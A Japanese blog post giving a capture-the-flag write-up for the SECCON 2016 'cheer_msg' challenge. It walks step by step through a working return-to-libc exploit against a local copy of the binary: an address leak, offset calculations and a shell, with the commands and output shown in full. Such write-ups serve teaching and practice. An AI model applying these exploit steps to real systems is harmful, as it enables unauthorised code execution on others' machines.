2017年01月01日

スクリプト言語を使わずにTeraTermとBzでpwn問題を解いてみる

(2017/01/24 更新)参考のため、本記事による攻撃手順をpythonで自動化したコードも公開します。

 SECCON2016オンライン予選のpwn100 cheer_msgを予選の制限時間内に解けなかったので、復習のために解いてみました。 writeupをググると、皆さんPythonなどスクリプト言語を使って解いているようなので、あえてスクリプト言語を使わずに解く方法を記載してみます。 私のように「IDAで逆アセンブルするのは好きでpwn問題の攻略の原理も分かるけど、スクリプト言語が苦手で手間取っている人」には参考になるかもしれません。

 なお、SECCONの問題サーバがいつまで稼働しているか分からないので、ローカル環境のsocatで起動した問題ファイルに対して攻撃することとします。

[解き方の概要]

  • IDAやGDBなどを使って問題ファイル「cheer_msg」を解析し、「Message Length」に-144を入力するとEIPを任意に書き換えできることが判明する。そのため、Return-into-libcでシェルを起動を試みる方針とする(本記事では割愛)
  • Linuxでcheer_msgを解析し、攻略に必要なアドレスを特定する
  • printfでlibcのアドレスをリークさせるための攻撃データその1をバイナリエディタ(Bz)でファイルとして作成する
  • 攻撃データをTeraTermの「ファイル送信」で送信する
  • TeraTermのログをBzで閲覧し、リークさせたアドレスを確認する
  • system関数でシェルを起動するための攻撃データその2をBzでファイルとして作成する
  • 攻撃データをTeraTermの「ファイル送信」で送信し、シェルを奪取する

準備

必要なツール

 攻略のために、次のものを使います。

  • 好きなLinuxディストリビューション(必要なコマンド:socat、ldd、objdump、nm、strings)
  • TeraTermポータブル版 ver.4.93
  • Bz Editor ver.1.8.4

問題プログラムをローカル環境で起動

 問題として提供されたプログラム「cheer_msg」を次のコマンドで実行します。


$socat TCP-LISTEN:12345,reuseaddr,fork EXEC:"./cheer_msg"
            

 これで、ポート番号12345で問題プログラムが起動しました。

 また、次のコマンドでローカル環境のlibc.so.6のパスを確認します。


$ldd ./cheer_msg
linux-gate.so.1 =>  (0xb777d000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7629000)
/lib/ld-linux.so.2 (0xb777e000)
            

 上記の実行結果から今回のローカル環境では「/lib/i686/cmov/libc.so.6」を利用していることが特定できたため、これをコピーし、問題ファイルとセットで取り扱います。

TeraTermの設定変更

 TeraTermの標準設定ではうまく攻略できないため、次のように設定変更します。

(1) メニュー「設定」-「端末の設定」
改行コード 「受信:AUTO」、「送信:LF」 に変更
(この設定をしておかないと、シェルを奪取した後、コマンドが正しく認識してもらえません。なお、古いバージョンのTeraTermでは送信にLFを設定できないためご注意ください。)
TeraTerm - Setup - Terminal

(2) メニュー「設定」-「その他の設定」
「ログ」タブで「自動的にログ採取を開始する」にチェック、 オプション 「バイナリ」にチェック
(printfでリークさせたアドレスなど、送受信したデータをバイナリで確認するため)
TeraTerm - Setup - Additional

攻略に必要なアドレスの特定

 printf関数のpltの特定(今回の場合は0x08048430)


$objdump -j .plt -S cheer_msg
cheer_msg:     file format elf32-i386

Disassembly of section .plt:
(中略)
08048430 :
 8048430:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048436:       68 08 00 00 00          push   $0x8
 804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x28>
 (以下略)
            

 main関数のアドレスの特定(今回の場合は0x080485ca)


$objdump -d cheer_msg | grep 'main'
08048490 <__libc_start_main@plt>:
 80484cc:       e8 bf ff ff ff          call   8048490 <__libc_start_main@plt>
080485ca <main>:
            

printfの引数として利用する書式文字列(%s)のアドレスの特定(今回の場合は0x804888c)

%sの文字列はIDAのStringsで確認する。

[確認結果]
  .rodata:0804887D 0000001D C \nThank you %s!\nMessage : %s\n

文字列の先頭 + 15文字(0xf)で「Message : %s\n」のアドレスとなる。
したがって、0x804887d + 0xf = 0x804888c
            

libc_start_mainのGOTのアドレスの特定(今回の場合は0x804a028)


$objdump -j .plt -S cheer_msg
cheer_msg:     file format elf32-i386


Disassembly of section .plt:
(中略)

08048490 <__libc_start_main@plt>:
 8048490:       ff 25 28 a0 04 08       jmp    *0x804a028
 8048496:       68 38 00 00 00          push   $0x38
 804849b:       e9 70 ff ff ff          jmp    8048410 <_init+0x28>
(以下略)
            

libc.so.6におけるlibc_start_mainのアドレスの特定(今回の場合は0x00016bc0)


$nm -D /lib/i686/cmov/libc.so.6 | grep libc_start
00016bc0 T __libc_start_main
            

libc.so.6におけるsystemのアドレスの特定(今回の場合は0x000391b0)

$nm -D /lib/i686/cmov/libc.so.6 | grep system
000391b0 T __libc_system
000f3270 T svcerr_systemerr
000391b0 W system
            

lib.so.6における「/bin/sh」のアドレスの特定(今回の場合は0x1216df)


$strings -a -tx /lib/i686/cmov/libc.so.6 | grep "sh$"
   e5ad _IO_wdefault_finish
   eef6 bdflush
  10053 _IO_default_finish
  10ca0 _IO_file_finish
  10f01 tcflush
  11349 _IO_fflush
  11b1f inet6_opt_finish
 11ef25 Trailing backslash
 11f478 sys/net/ash
 1216df /bin/sh
 12354d /bin/csh
 143299 .gnu.hash
            

攻略

TeraTermによる接続

 最初に、TeraTermでローカルで起動しているcheer_msgに接続します。
(今回は、IPアドレス192.168.15.131のポート12345番で稼働させています)

TeraTerm New Connection

 「Message Length」に対しては「-144」と入力します。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >>
            

 「Name」の入力待ちになりました。

アドレスのリーク

 printf関数を利用して、libc_start_mainのアドレスをリークさせます。

 「Message Length」に-144を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、アドレスをリークした後、再びmain関数に制御が戻ってきます。

    --------------------------------------------------
    printfのpltのアドレス(EIPに設定されるアドレス)
    --------------------------------------------------
    main関数のアドレス(リターンアドレス)
    --------------------------------------------------
    書式文字列「Message : %s\n」のアドレス
    --------------------------------------------------
    libc_start_mainのgotアドレス
    --------------------------------------------------
            

 必要なアドレスは、前述の手順により次のとおり特定済みです。
   plt_printf = 0x08048430
   addr_main = 0x080485ca
   addr_fstr = 0x0804888c
   got_libc_start = 0x0804a028

 これらのアドレスを記載したファイルをBzで作成します。なお、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

Bz Exploit1

 ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。なお、ファイル送信の際は、オプションで「バイナリ」にチェックを付けておく必要がありますのでご注意ください。

TeraTerm File Upload1

 文字化けした応答が返ってきますが、再び「Message Length」の入力を求められたことから、無事にmain関数に制御が戻ってきたようです。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (![ファイル送信後にEnterキーを入力]
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >>
            

 TeraTermのログファイルを確認したいのですが、TeraTerm起動中はファイルがロックされているため、ログファイルをコピーしたうえで、Bzで開きます。
 Bzでログを見ると、2個目の「Message: 」の後に、libc_start_mainのアドレスがリークしています。今回は「0xb7608bc0」でした。(リトルエンディアン形式のため、バイト順が逆になっています)
Bz Address

アドレスの計算

 電卓(calc.exe)などを利用して、攻略に必要なアドレスを計算します。

  • libc.so.6のベースアドレス = (実行時のlibc_start_main関数のアドレス) - (libc.so.6におけるlibc_start_main関数のアドレス)
    = 0xb7608bc0 - 0x00016bc0 = 0xB75C8000
  • 実行時のsystem関数のアドレス = (libc.so.6のベースアドレス) + (libc.so.6におけるsystem関数のアドレス)
    = 0xB75C8000 + 0x000391b0 = 0xB76011B0
  • 実行時のlibc.so.6における文字列「/bin/sh」のアドレス = (libc.so.6のベースアドレス) + (libc.so.6における文字列「/bin/sh」のアドレス) = 0xB75C8000 + 0x1216df = 0xb76e96df
 これで攻略に必要な全てのアドレスが揃いました。

Return-into-libcによるシェルの起動

 それでは攻略を再開します。「Message Length」に再び「-144」を入力します。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >>-144
            

 再び「Message Length」に「-144」を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、シェルを起動できます。

    --------------------------------------------------
    system関数のアドレス(EIPに設定されるアドレス)
    --------------------------------------------------
    AAAA(リターンアドレスは不要なため適当な値を設定)
    --------------------------------------------------
    libc.so.6における文字列「/bin/sh」のアドレス
    --------------------------------------------------
            

 必要なアドレスは、前述の手順により次のとおり特定済みです。
   addr_system = 0xb76011b0
   AAAA =0x41414141
   addr_sh = 0xb76e96df

 これらのアドレスを記載したファイルをBzで作成します。繰り返しになりますが、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

Bz Exploit2

 ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。

 再び文字化けした応答が返ってきますが、この時点でシェルが起動されています。試しに「id」コマンドを入力してみましょう。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> 萎形AAA?n[ファイル送信後にEnterキーを入力]

茎hank you 萎形AAA?n掘
Message :
id
uid=1000(attacker) gid=1000(attacker) 所属グループ=1000(attacker),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
            

 無事にコマンドの実行結果が表示されました。

最後に

 TeraTermとBzを使うと、スクリプトが苦手な人でもpwn問題に挑戦するハードルが少し下がるかもしれません。ちなみに、ksnctfの「Villager B」もTeraTermとBzと電卓だけで解くことができますので、よろしければ挑戦してみてください。(電卓を使ったアドレス計算のスキルがとても上昇します(苦笑))

posted by やまと at 22:50| Comment(0) | CTF